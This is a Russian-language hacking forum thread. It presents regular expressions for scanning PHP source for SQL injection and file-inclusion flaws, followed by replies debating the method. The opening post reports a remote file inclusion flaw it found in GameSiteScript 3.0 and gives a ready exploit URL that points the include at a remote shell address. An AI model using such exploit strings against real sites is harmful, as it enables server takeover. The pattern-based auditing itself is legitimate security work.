![]() |
Использование регулярных выражений при поиске уязвимостей php
Поиск уязвимостей с помощью регулярных выражений. Поиском уязвимостей в php скриптах заниматься часто не столько сложно, сколько долго и нудно. Хочу предложить вам более удобный и практичный, а главное, гораздо более быстрый способ поиска уязвимостей в скриптах, нежели тупой пофайловый просмотр кода через текстовые редакторы и трение глаз о монитор или тыкание кавычек во все подряд переменные в браузере. Я говорю о поиске наиболее известных уязвимостей с помощью регулярных выражений. Конечно, 100% результата в качестве уязвимостей вы не получите, но существенно облегчите себе работу. Итак, начнем. 1. Чем искать Поискав в интернете, я наткнулся на замечательную программу от SilverAge Software, а именно TextWorkBench http://blacktoad.info/ok/textworkbench_1.jpg Она является платной, однако, что меня приятно удивило, позволяет работать, хоть и с ограничением функциональности, но выполняя некоторые нам необходимые вещи даже после окончания 15-дневного демо-периода. Скачать: http://silveragesoftware.com/ftp/HFF...benchSetup.exe На момент написания сайт производителя в дауне, надеюсь, что это не навечно... Залил textworkbench на хост, т.к. сайт производителя висит Скачать Text Workbench 2. Как искать Методом проб и ошибок были составлены следующие регулярные выражения (синтаксис которых подходит именно для этой программы) : SQL injection Вероятно, что бага есть (если в запросе встречается переменная GPC, редко когда встречается, к сожалению) : Код:
{where}|{order by}|{sort by}|{group by}[`\s]*[^\$]*{['"]\.}?\{?\s*\$_{GET}|{POST}|{COOKIE}|{REQUEST}[^\s;]*Код:
{where}|{order by}|{sort by}|{group by}[`\s]*[^\$]*{['"]\.}?\{?\s*\$[^\s;]*PHP include Тут все гораздо проще :) Вероятно, что бага есть (GPC переменная входит в инклуд) : Код:
{include}|{require}|{include_once}|{require_once}\s*\(?[^\$;]*\$_{GET}|{POST}|{COOKIE}|{REQUEST}[^;]+;Код:
{include}|{require}|{include_once}|{require_once}\s*\(?[^\$;]*\$[^;]+;В качестве скрипта для примера возьму GameSiteScript 3.0 Скачать и посмотреть описание можно тут Вводим поиск на маловероятный php include :) Код:
{include}|{require}|{include_once}|{require_once}\s*\(?[^\$;]*\$[^;]+;Вот один из них http://blacktoad.info/ok/primer.jpg Смотрим код файла \plugins\site\themes\21\smallbox.php PHP код:
Это значит, что при register_globals on мы можем задать через GET или POST переменную $themecfg['boxcontentorder'], которая потом будет использоваться при инклуде. Итог: найдена новая RFI уязвимость Код:
http://site/gamesitescript/plugins/site/themes/21/smallbox.php?themecfg[boxcontentorder]=http://shell?PS к сожалению форум все еще добавляет пробелы в код, поэтому не забывайте их удалять перед использованием. |
имхо такими методами ты пропустишь больше уязвимостей чем найдешь.. а еще ложные срабатывания..
проще уже весь сорс взять и изучить.. очень удобно, кстати, использовать редактор с развитой подсветкой синтаксиса - выделяешь в нем ярким цветом потенициально опасные функции и т.п., и при беглом осмотре они сразу бросаются в глаза.. а там уже разбираешься.. ) |
Цитата:
|
+1 я опасные функции подсвечиваю
|
Залил textworkbench на хост, т.к. сайт производителя висит
Скачать Text Workbench |
>> Изучи-ка сорс эдак в 5 мб....
если будет необходимо, то почему бы и нет? )) >> Поэтому я и представил тут способ как сильно себе облегчить поиск уязвимостей. ну, это боян еще тот.. и его тут по-моему уже не раз успели представить.. ) зачем тут тебе пригодилась шареваре-программка от славы васильева мне вообще непонятно - проще уж все это в виде собственного скрипта реализовать (хотя подобных уже итак дофига есть).. |
Цитата:
Из подобного видел только php bug scanner by Razor, но там несколько иначе. Не видел ничего подобного нигде. Покажи. Программка имхо одна из самых лучших помощников программиста. Реализовать в виде скрипта может и проще, но не дает свободы действий. Кроме того, смысл писать то, что уже реализовано в приличном варианте? |
обычно сорсы много весят из-за картинок :) а сами сценарии не такие уж и тяжелые.
|
Цитата:
|
Цитата:
---Скорее уж веревку мыло и в туалет Alexsize |
| Время: 14:14 |